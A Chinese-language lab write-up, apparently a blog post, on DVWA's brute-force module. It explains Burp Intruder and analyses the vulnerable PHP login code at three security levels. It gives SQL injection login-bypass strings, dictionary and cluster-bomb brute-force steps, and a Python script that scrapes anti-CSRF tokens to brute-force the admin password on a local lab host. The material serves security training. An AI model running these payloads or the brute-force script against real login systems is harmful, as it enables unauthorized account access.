BF算法,即暴风(Brute Force)算法,是普通的模式匹配算法,BF算法的思想就是将目标串S的第一个字符与模式串T的第一个字符进行匹配,若相等,则继续比较S的第二个字符和 T的第二个字符;若不相等,则比较S的第二个字符和T的第一个字符,依次比较下去,直到得出最后的匹配结果。BF算法是一种蛮力算法。
一.Burp Intruder模块
Burp Intruder是一个强大的工具,用于自动对Web应用程序自定义的攻击,Burp Intruder 是高度可配置的,并被用来在广范围内进行自动化攻击。
**原理:Intruder在原始请求数据的基础上,通过修改各种请求参数,以获取不同的请求应答。**每一次请求中,Intruder通常会携带一个或多个有效攻击载荷(Payload),在不同的位置进行攻击重放,通过应答数据的比对分析来获得需要的特征数据。Burp Intruder通常被使用在以下场景:
- 标识符枚举 Web应用程序经常使用标识符来引用用户、账户、资产等数据信息。例如,用户名,文件ID和账户号码。
- 提取有用的数据 在某些场景下,而不是简单地识别有效标识符,你需要通过简单标识符提取一些其他的数据。比如说,你想通过用户的个人空间id,获取所有用户在个人空间标准的昵称和年龄。
- 模糊测试 很多输入型的漏洞,如SQL注入,跨站点脚本和文件路径遍历可以通过请求参数提交各种测试字符串,并分析错误消息和其他异常情况,来对应用程序进行检测。由于的应用程序的大小和复杂性,手动执行这个测试是一个耗时且繁琐的过程。这样的场景,您可以设置Payload,通过Burp Intruder自动化地对Web应用程序进行模糊测试。
详细选项配置参考BurpSuite系列(五)----Intruder模块(暴力破解)
下面将对四种级别的代码进行分析。
Low
服务器端核心代码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
服务器只是验证了参数Login是否被设置(isset函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false),没有任何的防爆破机制,且对参数username、password没有做任何过滤,存在明显的sql注入漏洞。
漏洞利用
方法一 爆破利用burpsuite即可完成
第一步抓包
第二步,ctrl+I将包复制到intruder模块,因为要对password参数进行爆破,所以在password参数的内容添加标记。
第三步选中Payloads,载入字典,点击Start attack进行爆破。
最后,尝试在爆破结果中找到正确的密码,可以看到password的响应包长度(length)“与众不同”,可推测password为正确密码,手工验证登陆成功。
方法二 手工sql注入
因为mysqli_num_rows( $result ) == 1,所以产生的结果数必须为1条,而且密码经过了md5加密,是不可控的,所以只能在username上构造语句:
SELECT * FROM ‘users’ WHERE user = ‘1’ or 1=1 limit 0,1#’ AND password = ‘随意填’;
用户名:1’ or 1=1 limit 0,1#
密码:随意
当然如果你知道一个用户名为admin的话,也可以构造:
SELECT * FROM ‘users’ WHERE user = ‘admin’#’ AND password = ‘$pass’;
Medium
服务器端核心代码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击,说基本上是因为查到说 MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义,通过phpstudy打开mysql命令行查看mysql版本。
具体的mysql_real_escape_string函数绕过问题详见
魔术引号、addslashes和mysql_real_escape_string的防御以及绕过
PHP字符编码绕过漏洞总结
实验环境为MySQL5.7.21,同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制。
如果密码错误的话会sleep( 2 ),每一次的请求包响应时间由毫秒基本变成了2~10秒。这样大大的增加了我们破解出密码锁需要的时间。步骤与LOW模式一致。
这里就当作不知道用户名和密码,添加两个字典用集束炸弹模式用笛卡儿积的方式同时暴破两个参数:
设置payload1,2对应的用户名密码字典
在响应头提取welcome:
等待筛选到的welcome即可。
组合次数非常大。
High
服务器端核心代码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。
每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。
同时,High级别的代码中,使用了stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、 mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入。
漏洞利用
由于加入了Anti-CSRFtoken预防无脑爆破,这里使用python脚本进行爆破。python 脚本(python 2.7),用户名为admin,对password参数进行爆破并打印结果。
from bs4 import BeautifulSoup
import urllib2
header={
'Host':'127.0.0.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'en-US,en;q=0.5',
'Accept-Encoding':'gzip, deflate',
'Referer':'http://127.0.0.1/vulnerabilities/brute/index.php',
'Cookie':'security=high; PHPSESSID=fvdht9e8smk3cbo57rr11jufn3',
'Connection':'close',
'Upgrade-Insecure-Requests':'1'}
requrl = "http://127.0.0.1/vulnerabilities/brute/"
def get_token(requrl,header):
req = urllib2.Request(url=requrl,headers=header)
response = urllib2.urlopen(req)
print response.getcode(),
the_page = response.read()
print len(the_page)
soup = BeautifulSoup(the_page,"html.parser")
d = soup.find_all('input', attrs={'name':'user_token'})
user_token = d[0].attrs['value']
return user_token
user_token = get_token(requrl,header)
i=0
for line in open("rkolin.txt"):
requrl = "http://127.0.0.1/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i = i+1
print i,'admin',line.strip(),
user_token = get_token(requrl,header)
if (i == 10):
break
对比结果看到,密码为password时返回的长度不太一样,手工验证,登录成功,爆破完成。